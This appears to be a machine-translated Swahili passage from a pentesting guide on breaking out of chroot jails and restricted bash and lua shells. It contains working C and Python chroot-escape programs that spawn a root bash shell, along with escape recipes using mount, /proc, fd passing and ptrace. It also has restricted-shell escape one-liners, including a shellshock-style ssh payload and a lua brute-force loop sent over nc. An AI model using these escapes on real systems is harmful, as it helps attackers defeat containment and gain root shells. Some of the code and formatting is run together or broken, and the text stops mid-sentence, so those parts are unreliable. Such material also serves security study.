Kutoka wikipedia: Mekanismu ya chroot haikusudiwi kulinda dhidi ya kuingilia kati kwa makusudi na watumiaji wenye mamlaka (root). Katika mifumo mingi, muktadha wa chroot haujajumuika vizuri na programu zilizochrooted zikiwa na mamlaka ya kutosha zinaweza kufanya chroot ya pili ili kutoroka.
Kawaida hii inamaanisha kwamba ili kutoroka unahitaji kuwa root ndani ya chroot.
Zanachw00t iliumbwa ili kutumia hali zifuatazo na kutoroka kutoka chroot.
Root + CWD
Ikiwa wewe ni root ndani ya chroot unaweza kutoroka kwa kuunda chroot nyingine. Hii ni kwa sababu chroots 2 cannot coexists (katika Linux), hivyo ikiwa utaunda folda na kisha kuunda chroot mpya kwenye folda hiyo mpya ukiwa nje yake, sasa utakuwa nje ya chroot mpya na hivyo utakuwa kwenye FS.
Hii inatokea kwa sababu kawaida chroot HAHAHUSU kazi yako ya saraka kwa ile iliyoonyeshwa, hivyo unaweza kuunda chroot lakini uwe nje yake.
Kawaida hutapata binary ya chroot ndani ya jela ya chroot, lakini unaweza kuunda, kupakia na kutekeleza binary:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Hii ni sawa na kesi ya awali, lakini katika kesi hii mshambuliaji anahifadhi kiashiria cha faili kwa saraka ya sasa na kisha anaunda chroot katika folda mpya. Hatimaye, kwa kuwa ana ufikiaji wa FD hiyo nje ya chroot, anaiweza na anatoroka.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD inaweza kupitishwa kupitia Unix Domain Sockets, hivyo:
* Unda mchakato wa mtoto (fork)
* Unda UDS ili mzazi na mtoto waweze kuzungumza
* Endesha chroot katika mchakato wa mtoto katika folda tofauti
* Katika mchakato wa mzazi, unda FD ya folda ambayo iko nje ya chroot ya mchakato mpya wa mtoto
* Pitisha kwa mchakato wa mtoto hiyo FD kwa kutumia UDS
* Mchakato wa mtoto chdir kwa hiyo FD, na kwa sababu iko nje ya chroot yake, atakimbia kutoka gerezani
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kuunganisha kifaa cha mzizi (/) ndani ya folda ndani ya chroot
* Kuingia chroot katika folda hiyo
Hii inawezekana katika Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kuunganisha procfs ndani ya folda ndani ya chroot (ikiwa bado haijafanywa)
* Tafuta pid ambayo ina kiingilio tofauti cha root/cwd, kama: /proc/1/root
* Chroot katika kiingilio hicho
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Unda Fork (mchakato wa mtoto) na chroot katika folda tofauti ndani ya FS na CD juu yake
* Kutoka kwa mchakato wa mzazi, hamasisha folda ambapo mchakato wa mtoto uko katika folda ya awali ya chroot ya watoto
* Mchakato huu wa watoto utaona uko nje ya chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Wakati fulani watumiaji wangeweza kubaini michakato yao wenyewe kutoka kwa mchakato wa wenyewe... lakini hii haiwezekani kwa kawaida tena
* Hata hivyo, ikiwa inawezekana, unaweza ptrace katika mchakato na kutekeleza shellcode ndani yake ([ona mfano huu](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Pata taarifa kuhusu gereza:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modify PATH
Angalia kama unaweza kubadilisha variable ya mazingira ya PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Kutumia vim
:setshell=/bin/sh:shell
Create script
Angalia kama unaweza kuunda faili inayoweza kutekelezwa yenye /bin/bash kama maudhui
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Pata bash kutoka SSH
Ikiwa unapata kupitia ssh unaweza kutumia hila hii kutekeleza shell ya bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Kumbuka kwamba kila wakati unatekeleza mstari wa awali katika mazingira tofauti ya lua, mpangilio wa kazi hubadilika. Hivyo basi, ikiwa unahitaji kutekeleza kazi maalum unaweza kufanya shambulio la nguvu ya kikatili kwa kupakia mazingira tofauti ya lua na kuita kazi ya kwanza ya le maktaba:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Pata shell ya lua ya mwingiliano: Ikiwa uko ndani ya shell ya lua iliyo na mipaka unaweza kupata shell mpya ya lua (na matumaini isiyo na mipaka) kwa kuita: